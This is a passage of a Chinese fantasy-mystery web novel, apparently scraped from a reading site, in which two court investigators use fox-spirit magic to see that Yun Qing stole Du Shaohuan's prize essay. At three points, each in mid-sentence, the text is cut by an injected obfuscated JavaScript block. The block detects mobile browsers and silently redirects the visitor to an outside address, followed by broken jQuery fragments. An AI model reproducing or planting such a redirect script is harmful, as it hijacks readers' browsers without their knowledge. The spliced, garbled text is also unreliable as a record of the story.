撑着身子爬起来后,元和景才发现,原来祝长生还没醒。 她还从未体会过坐着睡觉是何种滋味,祝长生的姿势也和平日里闲坐时看起来差别不大,只不过头微微垂着,背也弯了些弧度,以便能靠上轿厢。 虽然是睡着,可面上的疲惫之色却丝毫不减,想来他必定睡不了元和景那么安稳,又或许是前半夜根本没睡,直到凌晨才有时间眯上一会。 而周子萧更不必说,顶着黑灯瞎火赶了一整夜的车,饶是武将出身,现在也该累得不成样子了。 元和景先捞起轿帘看了看外面,往来人群渐多,驼着货物的马匹排着队经过,有粗膀子的大汉喊着听不懂的方言,大概率是要进京的货商。 如此,现在离回大理寺也不远了。 帘子跟着马车来来回回地晃着,祝长生的身体也跟着晃,总让人担心下一秒会不会径直栽倒到地上去。而没过多久,元和景的这点预感便成了真。 马车不知是何原因停下,刹车来得虽然不急,但对于睡梦中的人来说还是有些突然了。元和景在堪堪发现不对时便伸出手去,在半空中将他的额头扶得正好。 周子萧带着笑的声音自外面响起,原来是被城门外巡检的士兵拦住。元和景这才放下心来,将祝长生的头扶好,然后慢吞吞地挪到自己肩膀上来。 个子不够,挺直腰板来凑,还好最后是安然无恙地靠住了,就是这个歪着脖子的弧度太狠,他醒来后恐怕得疼上好一阵。 不过有个靠的总比载到地上强,元和景端坐着一动也不敢动,连呼吸都不由自主放得很轻很轻。虽然自己是个并不怎么合适的靠柱,但在这样备受依赖的姿势下,她还是油然而生了一股责任感。 从前,不管在家里还是在外面,基本都是她依赖别人的次数居多,当时除了安全、不累,高枕无忧的开心之外,心底隐约也会产生担心、失落和无力的情绪。 而在今天,她终于明白这些感觉从何而来,又该如何消解了。 不会有谁能一直受人依靠,元和景也不会一直依靠别人。 直到进入城内,周围的人声逐渐嘈杂起来时,祝长生才幽幽转醒。耳边绵长的呼吸消失,元和景有些僵硬地转头看他,干巴巴地道:“醒了啊。” 当时反应一快就把人捞过来了,但其中缘由要如何说,她却是压根没想过的。 但反观祝长生,看起来倒没什么异样,甚至也不觉得靠在女子身上睡着是件有失体统的事。也许是睡意未消,他又缓慢地眨了几下眼,竟平白生出些呆笨的可爱感来。 不知有心还是无意,元和景本以为他该就此清醒了,可男人又轻车熟路地靠回她肩头,眼睛一闭就没了动静。 元和景终于忍不住出声:“喂,别睡了。” “嗯……”祝长生姿势未变,轻而慵懒地喃喃道,“靠得很舒服,我再靠会儿。” 元和景顿时觉得自己被占了便宜,刻意轻哼一声表示不满,也转回头不再看他,可嘴角却不听话地翘起,将她愉悦又满足的心情表现得淋漓尽致。 已是第二天来到,留给人继续休憩的时间本就不多。半刻后,马车再次缓缓停下,周子萧说:“祝少卿,大理寺到了。” 30. 吃饭查案 事不宜迟,两人当即下车,元和景更是小跑着进了大理寺,可寻过一圈后,不仅杜二牛夫妇不在,就连云青都没来。 这便是最大的奇怪之处了,往常熬着夜都要把公务处理完的人,今天竟任由桌面上堆满卷轴书册,若非出现什么意外,那便是去忙更重要的事了。 “奇怪,连贺均也找不到,他们不会趁你不在就磨洋工吧?” 元和景心里的不安越发浓重,只能说些俏皮话权当慰藉。祝长生神色微凝,半晌后掷地有声地道:“去云青家。” 既然找不到杜二牛他们,那便先去确定杜少桓的安危。就算云青真想在这么短的时间内做些什么,她也只有一个人,必然难以将两边顾全。 于是踏着满地晨曦,三人又一刻不停地向云青家而去。天边微光大盛,初阳在此处蛰伏,预告着今日也当是一个艳阳天。 只是元和景在半途突然想起,还没来得及吃早饭呢。 巷子里依然一片阴寒,在这晨露未消时更显萧索清冷,来往的人大多面无表情匆匆而过。其他两人明显是第一次来这里,周子萧搓着手,不掩惊讶地道:“云青竟然就住在这种地方。” 如果放在以前,元和景必定会认为云青要给夫君治病,才会过得如此朴素节俭。但今日再看,她不可避免地想到,选择在此处居住,是否会让云青在囚禁杜少桓时更心安理得呢? 光明驱赶黑夜,一切罪恶和阴暗便无所遁形,只有在光亮照不到的角落里,那些扭曲的、不安的情绪才能无拘无束生长。 或许她也曾良心受到过谴责,又或许她本就是这样的人,但无论如何,这片暗无天日的巷子既束缚了她,却也滋养了她。 如其他房屋一样,云青家的大门也正紧闭着,周子萧利落地一脚踹开,元和景却在见到眼前景象时差点惊呼出声—— 透过堂屋门上的薄纱,她清晰地看见里面映出的人影。一人是站立的姿势,手上正捏着什么往前递,而就在她对面,稍矮的两个影子只能定定地看着那东西接近,却丝毫不敢反抗。 “慢着!” 再也顾不得那么多,元和景快步冲上前去,学着周子萧的样子大力踹开门。屋内三人显然没预料到这般变故,一时间碗忘了放下,伸出的筷子也怔怔地停在半空。 …… 没错,碗和筷子……他们正在吃饭。 元和景:“……” 刚赶上来的祝长生和周子萧:“……” 吃饭的杜二牛和何清莲:“……” 在这一片密不透风的沉默中,唯有云青不紧不慢地将手收回,神色平静,仿佛早有预料般,先对着祝长生抱了抱拳,道:“祝少卿。” 然后又看向另外两人,道:“少卿夫人,周司直,这次回来如此早,想必案件查得还算顺利。” “只是不知大清早突然闯进我家,是要做些什么呢?” 元和景看了眼何清莲碗里那块肉,再结合刚才众人的状态,不难想出她在屋外所见的,应是云青正在给何清莲夹菜的一幕。 眼下安全危机暂时解除了,可这个尴尬的烂摊子,又要如何收拾才好。 祝长生和周子萧虽查案经历无数,但这样的场面还是头一次见,一时间竟都愣在原地不知如何应对。还是元和景反应够快,当即指着满桌子菜大呼:“我……我来蹭饭!” “呃对,我来蹭饭的。本来想赶着早上的饭点回大理寺,没想到还是错过了,现在好饿啊,哈哈。” 干笑两声后,话音戛然而止,因为元和景不知道怎么解释她非要来云青这吃饭,还把祝长生和周子萧也叫上了。 ……总不能说云青厨艺太好,要给她引荐一下伙房主厨的位置吧。 而被提及的另外两人已然跟不上她的脑回路,只能装作很忙的样子,看看这边再看看那边,就是不出来帮一句腔。 “吃饭,吃饭好啊,云录事炒的菜啊那叫一个地道,颇有我们南淮风味。” 还是杜二牛率先打破沉默,略微起身又往何清莲那边挪了挪,道:“要是云录事愿意的话,这还能坐下呢。” 一旁的何清莲马上附和:“是啊,原本我跟老头子都打算饿肚子了,是云录事主动提出带我们来她家吃饭的,没想到她来京城这么多年,还是愿意关照我们这些老乡。” “言重了,不过举手之劳而已。”云青听着这些话,脸色和缓了些许,接着又转向门口的三人,“若是不嫌弃的话,便一起吃吧。” 事情发展到现在这个结果,已然完全偏离初衷。原本在大理寺没找到的杜二牛夫妇在云青家找到了,而本该在云青家的残疾男子现在又不知所踪,但目前至少能确定杜二牛他们尚且安全,也不算全无收获。 三人顺势围着桌子坐下,彼此交换的眼神里满是不解。按照南淮县里那位妇人的说法,杜二牛夫妇当初对云青并不好,甚至还强行拆散她和杜少桓,从那天下午他们见到云青的态度也能窥见一二。 可现在呢,非但不见敌意,甚至已经亲热到能用“老乡”来称呼了。 原本空落落的桌边现在围满了人,桌上几盘小菜则显得寒酸了起来。祝长生并未动筷,而是在四处打量后对云青说:“云录事为大理寺尽心尽力,却没想到生活如此拮据,我会吩咐账房给云录事涨些俸禄,也好将坏掉的家具修缮一番。” 要让其他几人听见“涨俸禄”这话,早就要一蹦三尺高了,但云青却是面色不改,对着祝长生略一垂首,淡淡道:“多谢少卿体恤,我去厨房拿碗筷,各位且先稍等片刻。” 趁着这点空当,元和景连忙压低了声音问杜二牛:“你怎么知道云青是南淮县人的?她除了叫你们来吃饭,可还说别的了?” “云青可是咱们南淮县的骄傲,这哪个南淮县人不知道啊!”杜二牛捏着筷子摆了摆手,面上笑意更盛,丝毫看不出有被强迫或是威胁的样子,“哦对……少恒我们已经找到了。” “找到了?在哪里找到的?他人可还好?” 元和景心觉不对,一连串疑问就这么丢了出来,看着两人的目光更加迫切。云青能把杜少桓囚禁在身边十年,现在又怎么会轻易就放他走? 夫妇俩对视一眼,似乎有慌乱之色在脸上一闪而过。末了还是何清莲扯出个笑容,道:“看到他在京城过得好,我们做父母的也能安心了,总之这件事多亏了有官爷们帮忙,各位的大恩大德,我们没齿难忘啊。” 眼看着何清莲打算起身下跪,临近的周子萧连忙将她拉住:“为民分忧本就是大理寺职责所在,人找到便好,谢就不必了。” 仅凭这番避重就轻的态度便可知,这夫妇俩已经和云青达成某种共识,他们再也问不出什么来了。 此时云青去而复返,将手中的瓷碗分发给三人后,就径直坐在空下的另一边。元和景满心的疑惑无处查证,只能先拿起筷子夹菜,这时,搭在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997296|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿上的左手却忽然被轻轻握住。 她还记得身旁坐的是祝长生,可他不好好扮演来蹭饭的食客,突然拉人的手干嘛? 不等元和景向对方投去询问的目光,眼前视线忽地一矮,从满桌饭菜变成了各种颜色的衣角,还有踏着地的墨色靴子。 抬头一看,上面不是空旷的屋顶,而是平白无故高出自己好几丈的桌底。 所以这是……突然变小了? 她不信邪地将手伸出来看,可属于人类的五指已然不见了,取而代之的是透明的、边缘泛着淡淡金光的狐狸爪子。 思绪停滞的几秒,肩头被冷不丁地拍了下,祝长生的声音自身侧传来:“走了。” 元和景扭头一看,只见旁边站着的是个通身透明、浅金色光晕点缀周围的超级缩小版狐狸,耳朵尖尖眼睛圆圆,毛刷似的大尾巴正在身后惬意地摇着。 正这时,那小狐狸又开口:“杜二牛夫妇已经不可靠了,至于杜少桓是否找到,我们去找当事人一问便知。” 又反应了三秒,元和景才终于意识到眼前这个闪着光的小东西就是祝长生,可震惊一时盖过理智,她下意识问:“这是什么法术?” 面前的小狐狸将肥滚滚的双手一抱,解释道:“这是狐族的‘移魂术’,可将人的一抹魂识从身体里暂时分出,并凝于狐狸的模样,既可自由行动,也不会被常人发现。” 元和景又低头看了看自己变化的双手双脚,喃喃:“那饭桌上的我们呢,不会露出破绽吗? “放心,简单的应对和吃饭不成问题,不过我们还是得快去快回,避免迟则生变。” 的确,仅凭杜二牛夫妇所说,还有很多疑点难以解释,所以现在当务之急是找到杜少桓,弄清楚这一切因果究竟如何。 很快,她便想到一个最合适的地方:“跟我来。” 本打算像人类一样直立着身体前行,可元和景的两只手比反应更快地撑到了地面上,毕竟现在是狐狸的身体,四足并用才是最合适的方式。不等她刻意操控,身体已经很是轻盈地奔跑跳跃起来,就像手脚自己生出了意识一般。 最初的适应过后,元和景忍不住感叹:“还真是神奇。” 有生之年还能体会到一把做狐狸的感觉,任谁来看也是相当独特且难忘的体验了。 心里这样想着,元和景带着祝长生一路跑到那扇漆黑的单扇门前,然后从最下面的门缝钻了进去。 同之前一样,所见处无一不是黑暗和压抑,这屋子本就因位置照不进阳光,现下不点烛火,门窗又是紧闭着的,将所有可能的光线也尽数隔绝在了外面。 即便什么也看不见,元和景依然从这空气中嗅出了浓重的病气,和绝望的死亡气息。 无边无际的浓重墨色中,连他们身上的光都显得微弱极了,像是随时要被蛰伏于暗处的怪物吞噬殆尽。若非是其中还掺杂着似有若无的呼吸声,将这称作一间死屋也未尝不可。 “男人应该就在这里,我们找找。” 强忍着身心的不适,元和景说完这句后就尝试着往里走。所幸这屋子和外面是如出一辙的空旷,靠墙处是空荡荡的床,床头正对着一张木桌,另一面墙边摆着几个大柜子,除此外再无其他。 一番探寻后,两人最终不约而同地停在了角落的高木柜前,对视的刹那,有什么想法已在心底悄然达成共识—— 呼吸声是从这里面传出来的。 31. 同颂南淮 这方柜子在民间并不少见,入口高而窄,里面常被隔板分成两层或三层使用,但无论如何,要将一个成年男子塞进去,也还是太委屈了。 多亏了这小狐狸的身体,元和景与祝长生得以从门底的那条小缝里钻进去。甫一站定,比屋子里还压抑的黑暗顿时将两人裹挟,在这方密闭的空间里,空气似乎都变得稀薄,而呼吸声,此时就在离他们几步开外的位置。 元和景借着自己身体的光芒小心翼翼上前,走过半圈后,一个蜷缩着身子的瘦弱男人便跃入眼底。如此,即便没看见脸,她也能确定这就是云青的那位夫君了。 明明前几日还将他捧在手心上,亲自喂饭又亲自照顾,现在为何又像杂物一样把人丢在了柜子里? 柜底一片冰凉,多年的湿气皆在此处聚集,可男人就像没有感觉一样缩在角落。元和景心情复杂地叹了口气,道:“他是个哑巴,就算醒着我们也问不出什么来,现在怎么办?” 另一只泛着盈盈光亮的小狐狸就在她身旁,闻言有片刻思索,很快,祝长生开口:“人说不了话,但过往经历自会告知一切,抓住我的手。” 说到这里,元和景自然而然想到了当初胡陆用过的术法,让他们得以看见纳兰卿心中执念。而祝长生同为狐族,想使出来应当也不是什么难事。 于是她便伸出一只透明爪子,和祝长生的相握。须臾后,眼前的黑暗像是有生命般自发旋转起来,一圈一圈,将他们卷入了无边的混沌之中。 元和景试图闭上眼睛,以对抗这阵来势汹汹的眩晕感。可不过多时,毒辣的热意更快席卷了周身,黑屋子里带来的潮意被迅速蒸发,脚底板的烫感更是有如实质,让元和景登时跳脚。 下意识睁眼,面前已然换了天地。 威风凌凌的两座石狮子坐镇左右,白梯自中间顺阶而上,尽头处的大门上挂了块还算气派的牌匾,书着龙飞凤舞的“衙门”二字。 因为前不久才去过,故而元和景有印象,这是南淮县县衙的门口。 再看看自己和祝长生,两人都已恢复人形,只是身体的颜色稍淡,与上次进入幻境的实体俨然不同。 “这就……进来了?” “不错,杜少桓应当就在此处。” 听见祝长生这么说,元和景立马抬眼往周围看去,就在县衙的公文榜前,她发现了一个格外明显的瘦削背影。 发丝以蓝色发带高高扎起,朴素而干净的粗布衣服,怀里还抱着书本,粗略看来倒像个书生,而非整日下地干活的农人,与当初贺均所猜分毫不差。 将这些发现分享给祝长生后,幻境中的杜少桓也终于有了动作,他疾步穿过人群,脸上笑意生动而璀璨,眉眼间满是意气,让人丝毫想象不到日后竟会沦为那副残败不堪的样子。 结局已定,覆水难收,看到此情此景,元和景也只能叹一句:“当时只道是寻常。” 两人一路跟着杜少桓,周遭景物也逐渐熟悉起来,虽说十年间谷丰村也发生了许多变化,但整体布局却是早早就定好的。唯一的区别恐怕就是,那时的云青家还没有成为南淮县的特色景点,杜少桓也是可以随意进入的。 “云青!”刚推开大门,杜少桓便兴冲冲地跑了进去,人还没到屋内,声音却是从院子里就响起了,“圣上巡游至此,感南淮县风景秀丽,特举办‘颂南淮’的文章比赛,我们也……” 话到一半戛然而止,刚才还像个炮仗似的某人现在也止步于堂屋门口。元和景和祝长生快步追上前去,才将屋内一片狼藉的景象收入了眼底。 蛋花汤洒了满地,糊成斑驳的大片,桌上几个碟子也是翻的翻,烂的烂,碎瓷片里混着几片菜叶,而更多的,则是被泼在了云青身上。 当时的云青尚还稚嫩,也还没养成泰山崩于前而面不改色的性格,只是白净的脸上青一块紫一块,衣服也被汤汤水水浇了个透,很难不看出刚遭受过怎样一番虐待。 元和景皱着眉刚要发作,杜少桓已经先一步冲上前,满脸关切地问:“你爹又喝酒了?” 说着,一点哽咽已然爬上少年的喉头,他小心翼翼地抚过那片青紫,接着道:“他竟然又打你,还下手这么狠……疼不疼啊,我去给你买药。” 就在杜少桓刚要离开时,云青一把抓住了他的袖子,红着眼眶扯出个笑,说:“我没事的,一点都不疼,反正过几天就好了,你别花钱。” 云青的父亲云老二酗酒,这件事他们在调查时也曾听说过。不过当时说来轻飘飘的一句话,其中究竟包含着多少的苦难和心酸,恐怕也只有亲眼看一看才能感同身受了。 “怎么能不疼,他都把你打成这样了。”杜少桓声音都在发颤,语气又是难过又是无奈,“这样的日子,什么时候才是个头啊……” 停顿片刻后,他像是突然想起什么,双手扶着云青的肩膀,吸了吸鼻子后坚定地道:“圣上如今在南淮县举办文章大赛,你我一起参加吧,胜出者可入京做官,你就可以离开这里,不用再挨打了!” “可是……”不同于男子的信心满满,云青有些犹豫地低下头,“我文章写得并不如你,况且这次大赛一定有许多人参加,我未必能行。” 杜少桓有些不耐烦地“哎呀”一声,道:“谁说你写的不好的?” “况且这不是还有我在吗,放心吧,要是真能赢得圣上青睐,我就带着你一起走,好不好?” 云青眼中似有泪花闪烁,她有些不敢相信地看着杜少桓,问:“当真?” “当然,我发誓!” 随着那句掷地有声的誓言结束,眼前蓦地陷入一片黑暗,元和景明白,这一段幻境已经结束了。 在当时看来,云青和杜少桓的确情真意切,可早已知晓未来走向的两人,内心却只有无尽的悲凉,还有些许讽刺。 他们一起去了京城不错,但云青背着“南淮县第一才女”的美名,至今还为人所歌颂,而杜少桓却因抄袭断送前途,最后甚至连人身自由都失去了。 而造成这一切的人,或许早已不言自明。 眼前再度亮起时,画面已成了杜少桓俯身于烛火下书写的场景。借着这点并不算明亮的光线,元和景将周围打量了一番,简单的床、一个柜子和一张书桌,便是房间里仅有的家具了。 沉吟片刻,她道:“这应该就是在写‘颂南淮’的文章了吧,既然他是自己亲手所写,为何那水果摊摊主却说他抄袭?” 祝长生的大半张脸掩盖在阴影里,只有靠近元和景的侧脸被烛光映成暖黄,眸中情绪喜怒未明,道:“从现在来看,若是事情就这么顺利发生下去的话,两人定然不会走到如今这个地步。” “只怕是中间出了什么变故,所以,之后看到的应该才是重头戏。” 密密层层的阴云笼罩在心头,元和景又想起那夜在饭馆里的听闻,即便再怎么不愿相信,可事到如今,也容不得她不去想那种可能。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001161|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她摇了摇头,喃喃出声:“那你说……会真的是云青抄袭了杜少桓吗?” 像是知晓她心中所想,祝长生转过头来,安抚似的拍了拍她的肩头,但还不等话出口,元和景猛然抬头,提议道:“要不我去云青那边看看吧,等幻境结束后来找你汇合。” 准备好的措辞被堵了回去,祝长生只能无声地张了张嘴。 他还记得上次在幻境中,少女是怎样的一副无助模样,但这次,她不仅能很快整理好情绪,甚至主动有了作为。 看来,她真的在成长,并且速度很快。 思及此,祝长生有些欣慰地勾起唇角,再看向对方时,眼底泛着自己都未察觉的感慨和情愫。 “你这么看着我干嘛?” 周围光线昏暗,元和景没能接收到他的信号,只是觉得自己被盯得心里有些发毛。 祝长生有些无奈的闭了闭眼,略一整理过情绪后才又开口:“去吧,万事小心,若遇不测便以骨哨唤我。” 元和景颇不在意地摆手,转身便朝房间里唯一的那扇门走去,道:“放心,我一个人都能打十个。” 在现实世界里,人出去要走门那可是天经地义,元和景下意识如法炮制,可不等打开,身体就径直从门里穿过去后,她才意识到在幻境中可比她想象的还要方便。 身后蓦地传来一声笑,轻快而短暂,虽然没从其中听出半分嘲讽之意,元和景还是转过头去狠狠瞪了祝长生一眼,也不管他是否看见,然后就大步流星地离开了。 不知是不是错觉,好像又有温和的笑声传来,勾起元和景心底一点点怨气,还有后知后觉的很多无奈和欢欣。 凭着之前调查时留下的记忆,她没怎么费力就找到了云青家,整座房子都是昏暗一片,只有最边缘的小屋里透出亮光。 走近一看,的确是云青的房间,而她也正低伏于桌案上,时而在面前的白纸上蘸墨书写,时而又停下来凝眸深思。 或许是在幻境中,时间流动变得格外快,不过多时天边翻起鱼肚白,那几张纸上也填满了笔墨痕迹,只是有好几处被她划掉改正,还有的甚至一整篇都被打上叉作废,更不必提,被她揉皱丢到一边的纸团有多少了。 可见,云青也在为这次文章大赛全力做准备。 之后几天也是如此,云青白日里要做农活,经常早出晚归,可即便如此,她在夜里也未曾松懈。好在那个酗酒的父亲期间也没回来过,她一个人虽孤独,却也能落得个清净。 再加上跟街坊邻居的走动也少,云青有时甚至一整天不说一句话。元和景想,或许她独来独往、不多言辞的性格,便是在这时候养成的了。 如此到了第七晚,云青将手中的文章拿起来看了又看,再也没落下笔修改一处。 看到她终于灭掉烛火睡下,元和景忍无可忍地打了个大大的哈欠。原来不消半刻就能看完的一篇文章,写出来却要经历这么久时间,日后谁再说书生日子轻松,她可决计不信了。 本以为幻境里复现的都是关键场面,却没想到这次的如此重复且无聊。但转念一想,或许对于杜少桓来说,这段漫长的写作时光,也是他生命中弥足珍贵的日子。 第八日如期而至,云青照例起了个大早,但却没像往常那样扛着锄头下地,而是将自己写好的文章卷好藏进袖子里,顶着半暗的天光便出门了。 元和景当机立断跟上去,没走出多远她便认出来,这应是去衙门的路。 32. 何为人心 时间尚早,路上行人寥寥,云青畅通无阻地到了县衙门口的公文榜前,这才小心翼翼地将文章拿了出来。 元和景还记得杜少桓说过,参加“颂南淮”文章大赛者,需在截止日期前将文章贴在此处,如此才能作数。想必云青此次前往,就是来做这件事的。 定睛看去,那公文榜已被贴上了不少文章,几页纸随页眉整整齐齐地贴在一处,风吹起时连篇飘扬,像极了振翅翩跹的蝶,其上整齐隽秀的一列列字,便是最为独特的花纹。 一旁的小桌上就备有浆糊,以便来此的参赛者们自行将文章贴上。前面一切都很顺利,云青做得也十分小心,至少在元和景看来,并未出什么纰漏。 可就在她们刚离开几步时,云青的肩头突然被一个陌生男人拍了拍。 那人戴着斗笠,边沿压得极低,叫人难以窥见他的面容。而云青被拍后则是脚步一顿,接着便久久没有动作,像在思考,也像是在做什么决心。 元和景有些不明所以,云青看起来不像是跟这人认识的样子,连看都没有看他一眼,所以这又是在思忖什么? 那男人也未在原地停留多久,拍过云青后就径直拐入了一旁的小巷里,个中含义不言而喻。 很快,云青也抬脚跟了进去。 如此,故事的转折点恐怕就发生在这里,元和景直觉将有大事发生,也不敢耽搁,快步迈进了那条昏暗的小巷。 空气潮湿,四处堆着杂物,这处和其他的巷子没什么区别。而就在前方的拐角处,云青已经站在了那个神秘男子的面前。 “你文章写得不错,考虑一下高价卖给我,我可以给你很多钱。” 伴着微哑的男声,他抬手一抖,几张白花花的纸尽数展露,从页数、从笔迹,都不难看出就是云青方才贴上的文章。 才子总为金银折腰,无论是纳兰卿,还是过去的云青,似乎都没能逃出这样的诅咒。 元和景有些难过地叹了口气,刚准备将心中所想同身边人说来,扭头却发现背后空无一人,她这才记起,自己和祝长生已经分头行动了。 另一股不明不白的淡淡忧伤袭来,心里像是突然缺了一小块,未出口的话只能化作又一声重重叹息。 云青咽了咽口水,小声问:“你能出多少?” 虽然看不清表情,但男人似乎是得意地轻笑了一声,而后伸出手来,五个指头尽数摊开。 “什么……” 云青有些不可置信地后退两步:“五……五百两,你能给我五百两?” 彼时的云青还不会隐藏情绪,有什么心思都写在了脸上,因而她的震惊神色也尽数落在了元和景与那神秘男子的眼中。 五百两,莫说是在十年前的南淮县,就算是放在京城里,也算是一笔不少的财富了。 可这篇文章是云青花费了好几个晚上呕心沥血写得,也是她能离开南淮县,进京城做官的唯一筹码。 如果就这么卖出去,这一切便都与她无关了。 女子的身体很明显地颤抖起来,即便相隔一段距离,元和景也能清晰看出她眼底的痛苦和挣扎。 毕竟无论是五百两还是“颂南淮”的魁首,无疑都能改变她的命运,无疑都对她有着巨大的吸引力。 若让现在的元和景来选,后者自然是更好的抉择。可对于那时的云青来说,魁首之位尚无定论,且竞争者千千万,而这五百两,却是近在眼前的。 谁都想做出最好的选择,可并不是谁都能承担得起两方落空、一无所有的风险。 更何况还是云青这种本就一无所有的人。 半晌,她很轻地点了点头,颤声问:“什么时候交易?” “明晚子时,我在文殊庙前等你,一手交钱,一手交货。” “……好。” 眼前突然陷入一片黑暗,应是杜少桓这段执念结束的信号。即便后面的内容未能亲眼看到,但元和景也能猜得出大概了。 天降横财,无人能抵挡这一诱惑,她能理解云青的选择,可更关键的问题是—— 她一个穷苦人家的弱女子,要如何才能把这么多钱不动声色地花出去? 她还有位常年酗酒打人的爹,若是发现女儿平白无故多了这么多钱,他怎有不占为己有的道理? 元和景有些疲惫地闭上眼睛,只觉得太阳穴正在突突狂跳。 不知过了多久,耳畔突然传来一声轻唤:“夫人。” 身体突兀落入一个温暖的怀抱中,清淡的香气缓缓萦绕于鼻尖,即便已经闻到过很多次,但依然能带给人心安的力量。 她并不挣扎,只是又下意识地靠紧了些。 脑子里乱得过分,元和景一时不知该从何说起,只能先问:“杜少桓那边可有情况?” 祝长生将人背后的长发轻轻抚顺,道:“没有,这几日他都在家中认真作文章,除过饭桌上因云青的事同父母吵过一架外,再无其他特殊。” “吵架?”元和景睁眼,想抬头去看对方的表情,“为什么突然吵架?” 祝长生略微垂下头同她对视,眼底碎光铺成了一条轻柔的河,他道:“并非突然,据杜二牛所说,他一直不满杜少桓与云青来往,得知他曾为云青买伤药,便将他大骂一顿。” “唉……” 无话可说,只能又是一声叹息,元和景觉得这一遭快要把半辈子的气都叹完了。 很快,眼前场景又变成了一条并不宽敞的土路,而在其中奔跑渐远的,正是杜少桓。 趁着幻境还未进入正题,元和景也把云青这几天的经历简单说过,还不等祝长生开口,另一边的杜少桓已经和云青见面了。 而正如她所料,云青尚未好全的脸上又添了几处新伤,这次甚至连腿都是一瘸一拐的,可见云老二下了多狠的手。 杜少桓又气又急地宽慰了半天,最后还是云青主动问:“这次来找我又有什么事?你文章可写完了?” 男子将藏在袖中的纸卷掏出来递给她,声音还有些闷闷不乐:“写完了,此行来就是看看你如何,我想同你一起去贴文章。” 云青将纸铺平开来,然后一目十行地一页页看过去。而旁边的杜少桓毫无防备,只是自顾自道:“这么下去也不是办法,不如我带你去医馆看看,你放心吧,我身上有钱……” 身为当局者的杜少桓没看见,旁观的元和景与祝长生却是能将云青的表情看个一清二楚—— 原本还是一片平静,可越读下去,她的眉头就皱得越深,讶然和不可置信在面上依次闪过,最后竟是连手都隐约颤抖了起来。 她是在震惊于的杜少桓文章之好,还是在心痛于自己和魁首彻底失之交臂了呢? “云青,云青!你听见我说话了吗?” 一声比一声大的呼唤在耳畔响起,云青如梦初醒,连忙抬头朝对方看去。杜少桓疑惑地道:“怎么看我的文章还能看走神了,难不成我这次真写得很差?” “怎么会!” 云青几乎是本能地惊呼出声,后知后觉到反应太大时,又赶紧敛去不自在的神色,强作镇定地说:“我的意思是,你写得挺好的,就是……” “就是我还没写完,你愿不愿意等我两天,等我写好了,咱们再一块去贴。” 这句话里的停顿只有一瞬,可其中蕴含的深意,却远非字面上那么简单。 偏偏杜少桓还对此一无所知,欣然道:“没关系啊,你写多久我都等你,不过圣上规定的时限只有半月,眼下也只剩不到一半时间了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005711|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你可要抓紧。” “嗯……嗯,我会的。” 云青将文章原封不动地还回去,嘴角勾起的笑容很是温和,眼底却落寞一片。 看到这里,后面发生的事或许就不言自明了。 又一段幻境结束,黑暗如期而至。 “所以说,这件事的真相,其实是和现实完全相反的。” 云青不是“颂南淮”的魁首,杜少桓也并非低劣无耻的抄袭者,只是在贴文章的时间上有了先来后到,两个人的命运便被完全改变了。 祝长生不言,只是沉闷地从喉头挤出个“嗯”。 空气悄然陷入一片默契而沉重的静默中,唯有变换的场景将他们的猜测坐了实。 青天白日下,一个穿蓝布衣衫的少年正在街头拼了命地狂奔,额上碎开的蛋液已然凝固,发髻也被菜叶子打得歪斜,脸颊上干涸的勒痕交错,他却不管不顾,只想着往前跑。 手中紧紧攥着的几张碎纸,或许是他心中唯一的希望。 还是在同样的、从衙门前往云青家的那条路上,还是杜少桓,可他的心情,却已截然不同了。 偶尔有路人发出疑问,身旁便立马有人解释道:“我刚才从衙门那边过来,听说他抄了别人的文章贴上去,问他他还狡辩,非说是自己写的,真是为了钱脸都不要了。” “哎哟,我也路过了,都说他把别人姑娘家的文章原封不动抄过来,一个字都不带改的。” “啊我呸!还有这样的人,真给咱南淮丢脸嘞……” “……” 人声远去了,喧嚣声也远去了,平日里总大开着的院门一反往常紧闭着,像某种无声的拒绝。 或是回避。 “云青、云青……云青你开门啊我问你话!” “方才我来叫你一起去贴文章,你不出来,原来是早就去贴好了是不是?” “这明明是我写的啊,这上面每一个字都是我写的!你开门,给我个解释,给我个解释啊……” 木门被砸出“哐哐”的声响,混着泣血般的连串哭喊,行人纷纷侧目,邻居也忍不住走出来凑热闹,不知谁家养的狗被吓到,也跟着狂吠不止…… 可那扇紧闭的门、那扇无情的门,从头到尾都没有打开过。 日头逐渐偏西,大家都还有自己的事情要做,于是接二连三散去,周身人影渐疏,唯有泪尽力竭的少年无力地滑落在地。 他看着明晃晃的天光,两行浊泪自空洞的眼眶中滑落。 手扬起,雪白掺黑的碎纸纷纷扬扬落下,像举行了一场无声的葬礼。 相比其他几次,这段幻境结束得很快,无边黑暗再次袭来的瞬间,元和景只听见一声嘶哑的呢喃—— “你可对得起我?” 这个问题当时没有人回答,而过了在十年之后,依然没有人能回答。 